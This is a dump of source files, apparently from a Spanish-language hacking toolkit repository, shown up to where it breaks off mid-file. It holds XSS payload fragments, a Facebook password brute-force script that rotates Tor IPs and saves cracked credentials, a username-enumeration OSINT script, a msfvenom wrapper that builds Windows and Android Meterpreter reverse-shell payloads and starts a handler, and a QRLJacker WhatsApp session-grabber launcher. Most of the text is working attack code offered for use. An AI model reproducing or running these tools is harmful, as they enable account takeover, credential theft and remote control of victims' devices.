3 | 2 | 3 | 4 | 5 | 6 | 7 | ; alert(1); 8 | )alert(1); 9 | 10 | 11 | 13 | 14 | 15 | alert(1) 16 | '> -------------------------------------------------------------------------------- /core/FB-BruteForce/FacebookBruteForce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | trap 'store; exit 1;' 2 3 | counter=0 4 | counter2=20 5 | start=0 6 | end=20 7 | turn=$((start+end)) 8 | startline=1 9 | endline=1 10 | sumstart=0 11 | 12 | 13 | checkroot() { 14 | if [[ "$(id -u)" -ne 0 ]]; then 15 | printf "\e[1;77mPlease, run this program as root!\n\e[0m" 16 | exit 1 17 | fi 18 | } 19 | 20 | checktor() { 21 | 22 | check=$(curl --socks5-hostname localhost:9050 -s https://www.google.com > /dev/null; echo $?) 23 | 24 | if [[ "$check" -gt 0 ]]; then 25 | printf "\e[1;91mPlease, check your TOR Connection! Just type \"tor\" or \"service tor start\"\n\e[0m" 26 | exit 1 27 | fi 28 | 29 | } 30 | 31 | 32 | dependencies() { 33 | 34 | command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed, run install.sh. Aborting."; exit 1; } 35 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed, run install.sh Aborting."; exit 1; } 36 | 37 | } 38 | 39 | USER_AGENT='Firefox' 40 | 41 | function start() { 42 | 43 | read -p $'\e[1;92mEmail account: \e[0m' EMAIL 44 | default_wl_pass="modules/FB-BruteForce/passwords.lst" 45 | read -p $'\e[1;92mPassword List (Hit Enter to default list): \e[0m' wl_pass 46 | wl_pass="${wl_pass:-${default_wl_pass}}" 47 | 48 | } 49 | function changeip() { 50 | 51 | killall -HUP tor 52 | 53 | } 54 | 55 | function store() { 56 | 57 | if [[ -n "$PASS" ]]; then 58 | printf "\e[1;91m [*] Waiting a second...\n\e[0m" 59 | sleep 3 60 | fi 61 | default_session="Y" 62 | printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $EMAIL 63 | read -p $'\e[1;77m? [Y/n]: \e[0m' session 64 | session="${session:-${default_session}}" 65 | if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then 66 | if [[ ! -d modules/FB-BruteForce/sessions ]]; then 67 | mkdir modules/FB-BruteForce/sessions 68 | fi 69 | cum=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1) 70 | printf "EMAIL=\"%s\"\nPASS=\"%s\"\nwl_pass=\"%s\"\ncum=\"%s\"\ntoken=\"%s\"\n" $EMAIL $PASS $wl_pass $token $token > modules/FB-BruteForce/sessions/store.session.$EMAIL.$(date +"%FT%H%M") 71 | printf "\e[1;77mSession saved.\e[0m\n" 72 | printf "\e[1;92mUse [11] resume\n" 73 | else 74 | exit 1 75 | fi 76 | 77 | } 78 | 79 | 80 | function bruteforcer() { 81 | 82 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 83 | printf "\e[1;92mEmail account:\e[0m\e[1;77m %s\e[0m\n" $EMAIL 84 | printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass 85 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m" 86 | } 87 | 88 | 89 | function method1() { 90 | 91 | while [ $counter -lt $turn ]; do 92 | 93 | IFS=$'\n' 94 | for PASS in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do 95 | countpass=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1) 96 | token=$(($counter+1)) 97 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $token $count_pass $PASS 98 | sleep 1 99 | {( trap '' SIGINT && check=$( curl --socks5 localhost:9050 -s 'https://b-api.facebook.com/method/auth.login' --user-agent "Firefox" -L -H "Authorization: OAuth 200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16" -d "email=$EMAIL&password=$PASS" | grep -o "session_key\|account is temporarily unavailable" | uniq ); if [[ $check == "session_key" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.facebash \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi ) } & done; wait $!; 100 | let counter++ 101 | let startline++ 102 | let endline++ 103 | changeip 104 | done 105 | 106 | } 107 | 108 | 109 | function method2() { 110 | 111 | rm -rf cookies* 112 | while [ $counter2 -lt $turn ]; do 113 | 114 | IFS=$'\n' 115 | for PASS in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do 116 | countpass=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1) 117 | token=$(($counter2+1)) 118 | COOKIES='cookies'$countpass'' 119 | #printf "method 2 \n" 120 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $PASS 121 | 122 | {( trap '' SIGINT && curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES --location > /dev/null && curl -s -X POST --socks5-hostname localhost:9050 'https://login.facebook.com/login.php' --user-agent $USER_AGENT --data-urlencode "email=${EMAIL}" --data-urlencode "pass=${PASS}" --cookie $COOKIES --cookie-jar $COOKIES > /dev/null && var=$( curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES | grep -o "logoutMenu\|account is temporarily unavailable" | uniq ); if [[ $var == "logoutMenu" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi; ) } & done; wait $!; 123 | rm -rf cookies$countpass 124 | changeip 125 | let startline++ 126 | let endline++ 127 | let counter2++ 128 | 129 | done 130 | } 131 | 132 | function resumemethod1() { 133 | counter1=1 134 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 135 | while [ $counter1 -lt $turn ]; do 136 | threads=1 137 | IFS=$'\n' 138 | for PASS in $(sed -n ''$token','$(($cum+1))'p' $wl_pass); do 139 | 140 | #countpass=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1) 141 | #childcount=$(($counter1)) 142 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $PASS 143 | let token++ 144 | #sleep 1 145 | {( trap '' SIGINT && check=$( curl --socks5 localhost:9050 -s 'https://b-api.facebook.com/method/auth.login' --user-agent "Firefox" -L -H "Authorization: OAuth 200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16" -d "email=$EMAIL&password=$PASS" | grep -o "session_key\|account is temporarily unavailable" | uniq ); if [[ $check == "session_key" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.facebash \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi ) } & done; wait $!; 146 | let counter1++ 147 | let threads++ 148 | let startline++ 149 | let endline++ 150 | #let countpass++ 151 | let cum++ 152 | changeip 153 | done 154 | 155 | } 156 | 157 | function resumemethod2() { 158 | rm -rf cookies* 159 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 160 | counter22=20 161 | while [ $counter22 -lt $turn ]; do 162 | 163 | IFS=$'\n' 164 | for PASS in $(sed -n ''$token','$(($cum+1))'p' $wl_pass); do 165 | let countpass++ 166 | 167 | COOKIES='cookies'$countpass'' 168 | #echo "method 2: \n" 169 | #childcount=$(($counter22)) 170 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $PASS 171 | 172 | {( trap '' SIGINT && curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES --location > /dev/null && curl -s -X POST --socks5-hostname localhost:9050 'https://login.facebook.com/login.php' --user-agent $USER_AGENT --data-urlencode "email=${EMAIL}" --data-urlencode "pass=${PASS}" --cookie $COOKIES --cookie-jar $COOKIES > /dev/null && var=$( curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES | grep -o "logoutMenu\|account is temporarily unavailable" | uniq ); if [[ $var == "logoutMenu" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi; ) } & done; wait $!; 173 | rm -rf cookies$countpass 174 | changeip 175 | 176 | let startline++ 177 | let endline++ 178 | let counter22++ 179 | let token++ 180 | let cum++ 181 | done 182 | } 183 | 184 | function resume() { 185 | 186 | checkroot 187 | checktor 188 | counter=1 189 | if [[ ! -d modules/FB-BruteForce/sessions ]]; then 190 | printf "\e[1;91m[*] No sessions\n\e[0m" 191 | exit 1 192 | fi 193 | printf "\e[1;92mFiles sessions:\n\e[0m" 194 | for list in $(ls modules/FB-BruteForce/sessions/store.session*); do 195 | IFS=$'\n' 196 | source $list 197 | printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$PASS" 198 | let counter++ 199 | done 200 | read -p $'\e[1;92mChoose a session number: \e[0m' fileresume 201 | source $(ls modules/FB-BruteForce/sessions/store.session* | sed ''$fileresume'q;d') 202 | 203 | printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user 204 | printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass 205 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m" 206 | 207 | while [ true ]; do 208 | 209 | resumemethod1 210 | #let turn+=20 211 | #method2 212 | hourdate=$(date +%H) 213 | dat=$(($hourdate + 1)) 214 | mindate=$(date +%M:%S) 215 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat $mindate 216 | let turn+=20 217 | sleep 3600 218 | resumemethod2 219 | hourdate2=$(date +%H) 220 | dat2=$(($hourdate2 + 1)) 221 | mindate2=$(date +%M:%S) 222 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat2 $mindate2 223 | let turn+=20 224 | sleep 3600 225 | done 226 | 227 | } 228 | 229 | case "$1" in --resume) resume ;; *) 230 | 231 | 232 | checkroot 233 | dependencies 234 | checktor 235 | start 236 | bruteforcer 237 | while [ true ]; do 238 | 239 | method1 240 | #let turn+=20 241 | #method2 242 | hourdate=$(date +%H) 243 | dat=$(($hourdate + 1)) 244 | mindate=$(date +%M:%S) 245 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat $mindate 246 | let turn+=20 247 | sleep 3600 248 | method2 249 | hourdate2=$(date +%H) 250 | dat2=$(($hourdate2 + 1)) 251 | mindate2=$(date +%M:%S) 252 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat2 $mindate2 253 | let turn+=20 254 | sleep 3600 255 | done 256 | 257 | esac -------------------------------------------------------------------------------- /core/Namechk/namechk.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "" 4 | echo -e "███╗ ██╗ █████╗ ███╗ ███╗███████╗ ██████╗██╗ ██╗██╗ ██╗ ███████╗██╗ ██╗ 5 | ████╗ ██║██╔══██╗████╗ ████║██╔════╝██╔════╝██║ ██║██║ ██╔╝ ██╔════╝██║ ██║ 6 | ██╔██╗ ██║███████║██╔████╔██║█████╗ ██║ ███████║█████╔╝ ███████╗███████║ 7 | ██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██╔═██╗ ╚════██║██╔══██║ 8 | ██║ ╚████║██║ ██║██║ ╚═╝ ██║███████╗╚██████╗██║ ██║██║ ██╗██╗███████║██║ ██║ 9 | ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝" 10 | echo "" 11 | echo "Osint tool based on namechk.com for checking usernames on more than 100 websites." 12 | echo "" 13 | echo " Developed by HATI" 14 | 15 | gettoken(){ 16 | curl -s -d "q=$1" "https://namechk.com/" | sed -e 's/[{}"]/''/g' | cut -d : -f 2 > token 17 | token=$(cat token) 18 | } 19 | 20 | rmm() 21 | { 22 | touch token 23 | touch verify 24 | rm token 25 | rm verify 26 | exit 27 | } 28 | 29 | invp(){ 30 | echo "" 31 | echo " [-] Invalid parameter" 32 | echo "" 33 | echo -e "\e[1m-------------------------------------------------------------------------------------\e[0m" 34 | echo "" 35 | echo " Examples:" 36 | echo "" 37 | echo " - Search available username:" 38 | echo " ./namechk.sh -au" 39 | echo "" 40 | echo " - Search available username on specifics websites:" 41 | echo " ./namechk.sh -au -co" 42 | echo "" 43 | echo " - Search available username list:" 44 | echo " ./namechk.sh -l -fu" 45 | echo "" 46 | echo " - Search used username:" 47 | echo " ./namechk.sh -fu" 48 | echo "" 49 | echo " - Search used username on specifics websites:" 50 | echo " ./namechk.sh -fu -co" 51 | echo "" 52 | echo " - Search used username list:" 53 | echo " ./namechk.sh -l -fu" 54 | echo "" 55 | } 56 | 57 | found(){ 58 | if [ $verify == 0 ];then 59 | profile=$(cat verify | sed -e 's/[{}"]/''/g' | cut -d , -f 5 | cut -d ":" -f 2,3) 60 | echo -e "\e[1m-------------------------------------------------------------\e[0m" 61 | echo -e " [+] Username found on: \e[1;32m${service[$cont]}\e[0m" 62 | echo -e " [+] Profile url: \e[1;36m$profile\e[0m" 63 | fi 64 | } 65 | 66 | available(){ 67 | 68 | if [ $verify != 0 ];then 69 | profile=$(cat verify | sed -e 's/[{}"]/''/g' | cut -d , -f 5 | cut -d ":" -f 2,3) 70 | echo -e "\e[1m-------------------------------------------------------------\e[0m" 71 | echo -e " [+] Username available on: \e[1;32m${service[$cont]}\e[0m" 72 | fi 73 | } 74 | 75 | verify(){ 76 | curl -s -d "service=${service[$cont]}&token=$token&fat=xwSgxU58x1nAwVbP6+mYSFLsa8zkcl2q6NcKwc8uFm+TvFbN8LaOzmLOBDKza0ShvREINUhbwwljVe30LbKcQw==" "https://namechk.com/services/check" > verify 77 | verify=$(cat verify | sed -e 's/[{}"]/''/g' | cut -d , -f 2 | grep -c true) 78 | } 79 | 80 | websinput(){ 81 | echo "" 82 | echo " [#] Enter webs for check:" 83 | echo "" 84 | read -p " " -a webs 85 | echo "" 86 | webslong=$(echo ${#webs[@]}) 87 | } 88 | 89 | listinput(){ 90 | echo "" 91 | echo " [#] Enter username list:" 92 | echo "" 93 | read -p " " -e list 94 | echo "" 95 | } 96 | 97 | #------------------------------------------------------------------------------------------------START------------------------------------------------------------------------------------------------ 98 | 99 | service=(Facebook YouTube Twitter Instagram Blogger GooglePlus Twitch Reddit Ebay Wordpress Pinterest Yelp Slack Github Basecamp Tumblr Flickr Pandora ProductHunt Steam MySpace Foursquare OkCupid Vimeo UStream Etsy SoundCloud BitBucket Meetup CashMe DailyMotion Aboutme Disqus Medium Behance Photobucket Bitly CafeMom coderwall Fanpop deviantART GoodReads Instructables Keybase Kongregate LiveJournal StumbleUpon AngelList LastFM Slideshare Tripit Fotolog Vine PayPal Dribbble Imgur Tracky Flipboard Vk kik Codecademy Roblox Gravatar Trip Pastebin Coinbase BlipFM Wikipedia Ello StreamMe IFTTT WebCredit CodeMentor Soupio Fiverr Trakt Hackernews five00px Spotify POF Houzz Contently BuzzFeed TripAdvisor HubPages Scribd Venmo Canva CreativeMarket Bandcamp Wikia ReverbNation Wattpad Designspiration ColourLovers eyeem KanoWorld AskFM Smashcast Badoo Newgrounds younow Patreon Mixcloud Gumroad Quora) 100 | arrlong=$(echo ${#service[@]}) 101 | cont=0 102 | 103 | if [[ $1 != "-l" ]];then 104 | 105 | if [[ -z $3 ]];then 106 | 107 | while [ $cont -lt $arrlong ]; do 108 | gettoken $1 109 | verify 110 | case $2 in 111 | "-au") 112 | available 113 | ;; 114 | "-fu") 115 | found 116 | ;; 117 | *) 118 | invp 119 | rmm 120 | esac 121 | ((cont++)) 122 | done 123 | else 124 | case $3 in 125 | -co) 126 | websinput 127 | while [ $cont -lt $webslong ]; do 128 | gettoken $1 129 | verify 130 | case $2 in 131 | "-au") 132 | available 133 | ;; 134 | "-fu") 135 | found 136 | ;; 137 | *) 138 | invp 139 | rmm 140 | esac 141 | ((cont++)) 142 | done 143 | ;; 144 | *) 145 | invp 146 | rmm 147 | ;; 148 | esac 149 | fi 150 | else 151 | if [[ -z $3 ]];then 152 | listinput 153 | while read line;do 154 | while [ $cont -lt $arrlong ];do 155 | gettoken $line 156 | verify 157 | case $2 in 158 | "-au") 159 | available 160 | ;; 161 | "-fu") 162 | found 163 | ;; 164 | *) 165 | invp 166 | rmm 167 | esac 168 | ((cont++)) 169 | done 170 | done < $list 171 | else 172 | websinput 173 | listinput 174 | while read line;do 175 | while [ $cont -lt $webslong ]; do 176 | gettoken $line 177 | verify2 178 | case $2 in 179 | "-au") 180 | available 181 | ;; 182 | "-fu") 183 | found 184 | ;; 185 | *) 186 | invp 187 | rmm 188 | esac 189 | ((cont++)) 190 | done 191 | cont=0 192 | done < $list 193 | fi 194 | fi 195 | echo "" 196 | rmm 197 | exit 198 | -------------------------------------------------------------------------------- /core/PayloadGenerate.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, init 2 | #import banners 3 | import banners as banners 4 | import random 5 | import subprocess, sys, os 6 | 7 | ProgramName = 'Z0172CK' 8 | LHOST = '0.0.0.0' 9 | LPORT = '444' 10 | PAYLOAD = 'None' 11 | NAME = 'msf' 12 | 13 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTMAGENTA_EX, Fore.LIGHTRED_EX] 14 | color = random.choice(colors) 15 | 16 | def generate(): 17 | global ProgramName, color, LHOST, LPORT, PAYLOAD, NAME 18 | 19 | banners.println(4) 20 | print("") 21 | print("Selecione la Plataforma") 22 | print("[{}01{}] Windows".format(color, Fore.LIGHTWHITE_EX)) 23 | print("[{}02{}] Android".format(color, Fore.LIGHTWHITE_EX)) 24 | #print("[{}03{}] Linux".format(color, Fore.LIGHTWHITE_EX)) 25 | print("") 26 | 27 | Plataform = input(str(" {} ({}Metasploit/PayloadGenerate{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 28 | 29 | if Plataform == '01' or Plataform == '1' or Plataform == 'windows': 30 | print("") 31 | print("Selecione el Payload") 32 | print("[{}01{}] windows/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) 33 | print("[{}02{}] windows/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX)) 34 | print("[{}03{}] windows/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) 35 | print("[{}04{}] windows/meterpreter/bind_tcp".format(color, Fore.LIGHTWHITE_EX)) 36 | print("[{}05{}] windows/shell/bind_tcp".format(color, Fore.LIGHTWHITE_EX)) 37 | print("[{}06{}] windows/shell/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) 38 | print("") 39 | 40 | WindowsPayload = input(str(" {} ({}Metasploit/PayloadGenerate{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 41 | 42 | if WindowsPayload == '01' or WindowsPayload == '1' or WindowsPayload == 'windows/meterpreter/reverse_http': 43 | PAYLOAD = 'windows/meterpreter/reverse_http' 44 | 45 | elif WindowsPayload == '02' or WindowsPayload == '2' or WindowsPayload == 'windows/meterpreter/reverse_https': 46 | PAYLOAD = 'windows/meterpreter/reverse_https' 47 | 48 | elif WindowsPayload == '03' or WindowsPayload == '3' or WindowsPayload == 'windows/meterpreter/reverse_tcp': 49 | PAYLOAD = 'windows/meterpreter/reverse_tcp' 50 | 51 | elif WindowsPayload == '04' or WindowsPayload == '4' or WindowsPayload == 'windows/meterpreter/bind_tcp': 52 | PAYLOAD = 'windows/meterpreter/bind_tcp' 53 | 54 | elif WindowsPayload == '05' or WindowsPayload == '5' or WindowsPayload == 'windows/shell/bind_tcp': 55 | PAYLOAD = 'windows/shell/bind_tcp' 56 | 57 | elif WindowsPayload == '06' or WindowsPayload == '6' or WindowsPayload == 'windows/shell/reverse_tcp': 58 | PAYLOAD = 'windows/shell/reverse_tcp' 59 | 60 | LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 61 | LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 62 | NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 63 | os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f exe -o output/{NAME}.exe") 64 | os.system(f"sudo chmod +x output/{NAME}.exe") 65 | print("{}Achivo Guardado en {}output/{}.exe{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX)) 66 | 67 | elif Plataform == '02' or Plataform == '2' or Plataform == 'android': 68 | print("") 69 | print("{}Selecione el Payload{}".format(color, Fore.LIGHTWHITE_EX)) 70 | print("") 71 | print("[{}01{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) 72 | print("[{}02{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX)) 73 | print("[{}03{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) 74 | print("") 75 | 76 | AndroidPayload = input(str(" {} ({}Metasploit/GeneratePayload{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 77 | 78 | if AndroidPayload == '1' or AndroidPayload == '01': 79 | PAYLOAD = 'android/meterpreter/reverse_http' 80 | 81 | elif AndroidPayload == '2' or AndroidPayload == '02': 82 | PAYLOAD = 'android/meterpreter/reverse_https' 83 | 84 | elif AndroidPayload == '3' or AndroidPayload == '03': 85 | PAYLOAD = 'android/meterpreter/reverse_tcp' 86 | 87 | LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 88 | LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 89 | NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 90 | os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f apk -o output/{NAME}.apk") 91 | os.system(f"sudo chmod +x output/{NAME}.apk") 92 | print("{}Achivo Guardado en {}output/{}.apk{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX)) 93 | 94 | option = input(str("desea conectarse a Metasploit [y/N] > ")) 95 | 96 | if option == 'y' or option == 'Y' or option == 's' or option == 'S': 97 | datamsf = f"use exploit/multi/handler;set PAYLOAD {PAYLOAD};set LHOST {LHOST};set LPORT {LPORT};exploit" 98 | subprocess.call(["sudo", "msfconsole", "-q", "-x", datamsf]) 99 | 100 | def androidPayloadGenerate(): 101 | print("") 102 | print("{}Selecione el Payload{}".format(color, Fore.LIGHTWHITE_EX)) 103 | print("") 104 | print("[{}01{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) 105 | print("[{}02{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX)) 106 | print("[{}03{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) 107 | print("") 108 | 109 | AndroidPayload = input(str(" {} ({}Metasploit/GeneratePayload{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 110 | 111 | if AndroidPayload == '1' or AndroidPayload == '01': 112 | PAYLOAD = 'android/meterpreter/reverse_http' 113 | 114 | elif AndroidPayload == '2' or AndroidPayload == '02': 115 | PAYLOAD = 'android/meterpreter/reverse_https' 116 | 117 | elif AndroidPayload == '3' or AndroidPayload == '03': 118 | PAYLOAD = 'android/meterpreter/reverse_tcp' 119 | 120 | else: 121 | print("[!] Option Not Avalible") 122 | print("") 123 | androidPayloadGenerate() 124 | 125 | LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 126 | LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 127 | NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) 128 | 129 | os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -o output/{NAME}.apk") 130 | print("File save in {}output/{}.apk{}".format(Fore.LIGHTGREEN_EX, NAME, Fore.LIGHTWHITE_EX)) -------------------------------------------------------------------------------- /core/QRLJacker/.ataque: -------------------------------------------------------------------------------- 1 | use grabber/whatsapp 2 | set port 1337 3 | run 4 | help 5 | sessions -l -------------------------------------------------------------------------------- /core/QRLJacker/QrlJacker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | from core import Cli,utils,Settings,db 5 | from core.color import * 6 | from sys import version_info as py_ver 7 | import argparse,os 8 | 9 | if ( ( py_ver.major==3 and py_ver.minor<7 ) ): 10 | # The second condition is for the future releases of python 11 | error("The framework is designed to work only on python 3.7 or above!") 12 | error("You are using version "+".".join( map( str,[py_ver.major, py_ver.minor, py_ver.micro] )) ) 13 | exit(0) 14 | 15 | elif os.name=="nt": 16 | error("The framework is designed to work on linux or windows only! Sorry for that :)") 17 | exit(0) 18 | 19 | parser = argparse.ArgumentParser(prog='QrlJacker.py') 20 | parser.add_argument("-r", metavar='', help="Execute a resource file (history file).") 21 | parser.add_argument("-x", metavar='', help="Execute a specific command (use ; for multiples).") 22 | parser.add_argument("--debug",action="store_true", help="Enables debug mode (Identifying problems easier).") 23 | parser.add_argument("--dev",action="store_true", help="Enables development mode (Reloading modules every use).") 24 | parser.add_argument("--verbose",action="store_true", help="Enables verbose mode (Display more details).") 25 | parser.add_argument("-q",action="store_true", help="Quit mode (no banner).") 26 | args = parser.parse_args() 27 | 28 | def main(): 29 | Settings.path = os.getcwd() 30 | if args.debug: 31 | Settings.debug = True 32 | if args.dev: 33 | Settings.development = True 34 | if args.verbose: 35 | Settings.verbose = True 36 | if not args.q: 37 | utils.banner(db.index_modules()) 38 | 39 | if args.x: 40 | for c in args.x.split(";"): 41 | Cli.start(c) 42 | Cli.start() 43 | elif args.r: 44 | try: 45 | with open(args.r,"r") as f: 46 | cmds = f.readlines() 47 | for cmd in cmds: 48 | Cli.start(cmd.strip()) 49 | Cli.start() 50 | except: 51 | error("Can't open the specifed resource file!") 52 | exit(0) 53 | else: 54 | Cli.start() 55 | #You think it's simple when you look here huh :"D 56 | sys.exit() 57 | 58 | if __name__ == '__main__': 59 | main() 60 | -------------------------------------------------------------------------------- /core/QRLJacker/core/Cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | import os,sys,time,random,traceback,json,argparse,readline 5 | from core import utils,db,module,Settings,browser 6 | from core.color import * 7 | 8 | global modules,all_keywords 9 | modules = db.index_modules() 10 